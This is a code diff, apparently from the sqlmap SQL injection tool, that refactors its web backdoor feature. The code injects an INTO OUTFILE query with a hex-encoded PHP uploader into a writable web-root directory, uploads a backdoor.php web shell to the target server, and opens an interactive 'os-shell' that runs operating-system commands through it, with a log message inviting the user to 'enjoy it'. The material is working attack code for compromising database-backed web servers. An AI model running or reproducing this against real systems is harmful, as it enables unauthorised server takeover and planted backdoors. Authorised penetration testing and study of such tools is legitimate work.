3333from lib .core .common import getDocRoot
3434from lib .core .common import randomStr
3535from lib .core .common import readInput
36+ from lib .core .convert import hexencode
3637from lib .core .data import conf
3738from lib .core .data import kb
3839from lib .core .data import logger
@@ -79,34 +80,56 @@ def __webBackdoorRunCmd(self, backdoorUrl, cmd):
7980 return output
8081
8182
82- def __webBackdoorOsShell (self ):
83+ def __webBackdoorShell (self , backdoorUrl ):
84+ infoMsg = "calling OS shell. To quit type "
85+ infoMsg += "'x' or 'q' and press ENTER"
86+ logger .info (infoMsg )
87+
88+ autoCompletion (osShell = True )
89+
90+ while True :
91+ command = None
92+
93+ try :
94+ command = raw_input ("os-shell> " )
95+ except KeyboardInterrupt :
96+ print
97+ errMsg = "user aborted"
98+ logger .error (errMsg )
99+ except EOFError :
100+ print
101+ errMsg = "exit"
102+ logger .error (errMsg )
103+ break
104+
105+ if not command :
106+ continue
107+
108+ if command .lower () in ( "x" , "q" , "exit" , "quit" ):
109+ break
110+
111+ self .__webBackdoorRunCmd (backdoorUrl , command )
112+
113+
114+ def __webBackdoorInit (self ):
83115 """
84116 This method is used to write a PHP agent (cmd.php) on a writable
85117 remote directory within the web server document root.
86118 Such agent is written using the INTO OUTFILE MySQL DBMS
87119 functionality
88-
89- @todo:
90- * Add a web application crawling functionality to detect
91- all (at least most) web server directories and merge with
92- Google results if the target host is a publicly available
93- hostname or IP address;
94- * Extend the agent to other interpreters rather than only PHP:
95- ASP, JSP, CGI (Python, Perl, Ruby, Bash).
96120 """
97121
98122 self .checkDbmsOs ()
99123
124+ backdoorUrl = None
100125 kb .docRoot = getDocRoot ()
101126 directories = getDirs ()
127+ directories = list (directories )
128+ directories .sort ()
102129
103130 infoMsg = "trying to upload the uploader agent"
104131 logger .info (infoMsg )
105132
106- directories = list (directories )
107- directories .sort ()
108- uploaded = False
109-
110133 # TODO: backdoor and uploader extensions must be the same as of
111134 # the web application language in use
112135 backdoorName = "backdoor.php"
@@ -120,29 +143,22 @@ def __webBackdoorOsShell(self):
120143 sep = "/"
121144
122145 for directory in directories :
123- if uploaded :
124- break
125-
126146 # Upload the uploader agent
127- uploaderQuery = uploaderStr .replace ("WRITABLE_DIR" , directory )
128- query = " LIMIT 1 INTO DUMPFILE '%s%s%s' " % (directory , sep , uploaderName )
129- query += "LINES TERMINATED BY '\\ n%s\\ n'--" % uploaderQuery
130-
131- query = agent .prefixQuery (" %s" % query )
132- query = agent .postfixQuery (query )
133-
147+ outFile = os .path .normpath ("%s%s%s" % (directory , sep , uploaderName ))
148+ uplQuery = uploaderStr .replace ("WRITABLE_DIR" , directory )
149+ query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
150+ query += "LINES TERMINATED BY 0x%s --" % hexencode (uplQuery )
151+ query = agent .prefixQuery (" %s" % query )
152+ query = agent .postfixQuery (query )
134153 payload = agent .payload (newValue = query )
135154 page = Request .queryPage (payload )
136- requestDir = directory .replace (kb .docRoot , "/" ).replace ("\\ " , "/" )
137- requestDir = os .path .normpath (requestDir )
138155
156+ requestDir = os .path .normpath (directory .replace (kb .docRoot , "/" ).replace ("\\ " , "/" ))
139157 baseUrl = "%s://%s:%d%s" % (conf .scheme , conf .hostname , conf .port , requestDir )
140158 uploaderUrl = "%s/%s" % (baseUrl , uploaderName )
141- uploaderUrl = os .path .normpath (uploaderUrl )
142-
143- page , _ = Request .getPage (url = uploaderUrl , direct = True )
159+ uplPage , _ = Request .getPage (url = uploaderUrl , direct = True )
144160
145- if "sqlmap backdoor uploader" not in page :
161+ if "sqlmap backdoor uploader" not in uplPage :
146162 warnMsg = "unable to upload the uploader "
147163 warnMsg += "agent on '%s'" % directory
148164 logger .warn (warnMsg )
@@ -159,7 +175,6 @@ def __webBackdoorOsShell(self):
159175 "file" : open (backdoorPath , "r" ),
160176 "uploadDir" : directory ,
161177 }
162- uploaderUrl = "%s/%s" % (baseUrl , uploaderName )
163178 page = Request .getPage (url = uploaderUrl , multipart = multipartParams )
164179
165180 if "Backdoor uploaded" not in page :
@@ -169,50 +184,16 @@ def __webBackdoorOsShell(self):
169184
170185 continue
171186
172- uploaded = True
173187 backdoorUrl = "%s/%s" % (baseUrl , backdoorName )
174188
175189 infoMsg = "the backdoor has been successfully uploaded on "
176190 infoMsg += "'%s', go with your browser to " % directory
177191 infoMsg += "'%s' and enjoy it!" % backdoorUrl
178192 logger .info (infoMsg )
179193
180- if conf .osShell :
181- message = "do you want to use the uploaded backdoor as a "
182- message += "shell to execute commands right now? [Y/n] "
183- shell = readInput (message , default = "Y" )
184-
185- if shell in ("n" , "N" ):
186- continue
187-
188- infoMsg = "calling OS shell. To quit type "
189- infoMsg += "'x' or 'q' and press ENTER"
190- logger .info (infoMsg )
191-
192- autoCompletion (osShell = True )
193-
194- while True :
195- command = None
196-
197- try :
198- command = raw_input ("os-shell> " )
199- except KeyboardInterrupt :
200- print
201- errMsg = "user aborted"
202- logger .error (errMsg )
203- except EOFError :
204- print
205- errMsg = "exit"
206- logger .error (errMsg )
207- break
208-
209- if not command :
210- continue
211-
212- if command .lower () in ( "x" , "q" , "exit" , "quit" ):
213- break
194+ break
214195
215- self . __webBackdoorRunCmd ( backdoorUrl , command )
196+ return backdoorUrl
216197
217198
218199 def uploadChurrasco (self ):
@@ -243,10 +224,17 @@ def osCmd(self):
243224 stackedTest ()
244225
245226 if kb .stackedTest == False :
246- return
227+ infoMsg = "going to upload a web page backdoor for command "
228+ infoMsg += "execution"
229+ logger .info (infoMsg )
247230
248- self .initEnv ()
249- self .runCmd (conf .osCmd )
231+ backdoorUrl = self .__webBackdoorInit ()
232+
233+ if backdoorUrl :
234+ self .__webBackdoorRunCmd (backdoorUrl , conf .osCmd )
235+ else :
236+ self .initEnv ()
237+ self .runCmd (conf .osCmd )
250238
251239
252240 def osShell (self ):
@@ -257,7 +245,10 @@ def osShell(self):
257245 infoMsg += "execution"
258246 logger .info (infoMsg )
259247
260- self .__webBackdoorOsShell ()
248+ backdoorUrl = self .__webBackdoorInit ()
249+
250+ if backdoorUrl :
251+ self .__webBackdoorShell (backdoorUrl )
261252 else :
262253 self .initEnv ()
263254 self .absOsShell ()
0 commit comments